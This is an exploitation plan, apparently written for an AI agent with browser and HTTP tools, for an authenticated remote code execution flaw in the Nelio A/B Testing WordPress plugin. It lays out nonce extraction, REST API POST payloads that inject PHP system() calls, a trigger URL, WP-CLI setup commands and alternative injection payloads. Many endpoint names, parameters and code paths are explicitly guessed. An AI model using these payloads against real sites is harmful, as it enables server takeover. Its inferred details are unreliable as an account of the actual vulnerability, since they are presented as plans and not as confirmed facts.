Exploitation Research Plan: CVE-2026-32573 (Nelio A/B Testing RCE)

1. Vulnerability Summary

The Nelio A/B Testing plugin for WordPress is vulnerable to Authenticated Remote Code Execution (RCE) in versions up to and including 8.2.7. The vulnerability exists because the plugin allows users with Editor privileges or higher to save and execute arbitrary PHP code through its experiment or settings management interface via the WordPress REST API. The plugin fails to adequately restrict the use of dangerous PHP functions or properly validate the capabilities of the user when saving server-side logic intended for A/B tests.

2. Attack Vector Analysis

• Endpoint: WordPress REST API.
• Namespace/Route: nelio-ab-testing/v1/experiments (or potentially nelio-ab-testing/v1/settings).
• Method: POST or PUT.
• Vulnerable Parameter: php_code, custom_php, or server_logic (inferred based on plugin functionality).
• Authentication: Required (Editor level or higher).
• Preconditions: The plugin must be active, and the attacker must have a valid Editor session.

3. Code Flow (Inferred)

1. Registration: The plugin registers REST routes in includes/rest-api/class-nab-rest-api.php (inferred) using the rest_api_init hook.
2. Capability Check: The permission_callback for the experiments controller (likely NAB_Experiments_Controller) checks if the user has edit_posts (Editor) or a specific Nelio capability, rather than manage_options (Admin).
3. Data Processing: The create_item or update_item method receives a JSON payload. One of the fields in this payload is designed to hold custom server-side logic for experiments.
4. Storage: The code is saved into the database (the wp_posts table for experiments or wp_options for global settings).
5. Execution Sink: When an experiment is previewed or loaded on the frontend, the plugin retrieves the stored code and executes it using eval() or a similar dynamic execution mechanism in a file like includes/nab-functions.php (inferred).

4. Nonce Acquisition Strategy

The Nelio A/B Testing plugin uses the standard WordPress REST API nonce (wp_rest).

1. Identify Trigger: The Nelio dashboard loads on wp-admin/admin.php?page=nelio-ab-testing-main.
2. Login: Use the http_request tool to log in as an Editor.
3. Navigate: Use browser_navigate to visit the Nelio dashboard.
4. Extract Nonce: Use browser_eval to extract the REST nonce from the localized script object. Nelio typically localizes its data into a variable named nelioAbTesting or nabData.

Extraction Command:

browser_eval("window.nelioAbTesting?.nonce || window.nabData?.nonce || window.wpApiSettings?.nonce")

5. Exploitation Strategy

Step 1: Authentication and Nonce Retrieval

Log in as an Editor and capture the REST nonce using the strategy above.

Step 2: Create/Update an Experiment with RCE Payload

Send a POST request to the experiments endpoint.

• URL: http://<target>/wp-json/nelio-ab-testing/v1/experiments
• Method: POST
• Headers:
  • Content-Type: application/json
  • X-WP-Nonce: <EXTRACTED_NONCE>
• Payload:

  {
    "title": "Exploit Test",
    "type": "post",
    "status": "draft",
    "php_code": "system('id > /tmp/rce.txt');"
  }
  

  (Note: The field name php_code is inferred; custom_php or server_side_code are alternatives if the first fails.)

Step 3: Trigger Execution

Experiments are typically executed when their "Preview" URL is visited or when the associated post/page is viewed.

• URL: http://<target>/?nelio_ab_preview=1&nelio_ab_experiment_id=<ID>
• Method: GET

6. Test Data Setup

1. User Creation:
   wp user create editor_user editor@example.com --role=editor --user_pass=password123
2. Plugin Activation:
   wp plugin activate nelio-ab-testing
3. Target Content: Create a dummy post to attach the experiment to.
   wp post create --post_type=post --post_title="Target Page" --post_status=publish

7. Expected Results

• The REST API should return a 201 Created or 200 OK response confirming the experiment was saved.
• Upon triggering the execution (Step 3), the injected PHP code should execute.
• If using the system('id > /tmp/rce.txt') payload, a file /tmp/rce.txt should be created on the server.

8. Verification Steps

1. Check for Evidence:
   ls /tmp/rce.txt
2. Check Database:
   wp db query "SELECT post_content FROM wp_posts WHERE post_title='Exploit Test'"
3. Read Output:
   cat /tmp/rce.txt

9. Alternative Approaches

• Global Settings Injection: If the experiments endpoint is not vulnerable, target the settings endpoint: POST /wp-json/nelio-ab-testing/v1/settings. Payload: {"global_js": "*/; system('id'); /*"} if the plugin wraps the JS in a way that allows escaping to PHP (unlikely but possible if eval is used poorly).
• Experiment Metadata: If the php_code field is not in the main object, it might be stored in meta:

  {
    "title": "Exploit",
    "meta": {
      "nelio_custom_php": "system('id');"
    }
  }
  

• Direct Option Update: If there is a generic settings update endpoint that lacks capability checks, try updating the nelio_settings option directly via the REST API.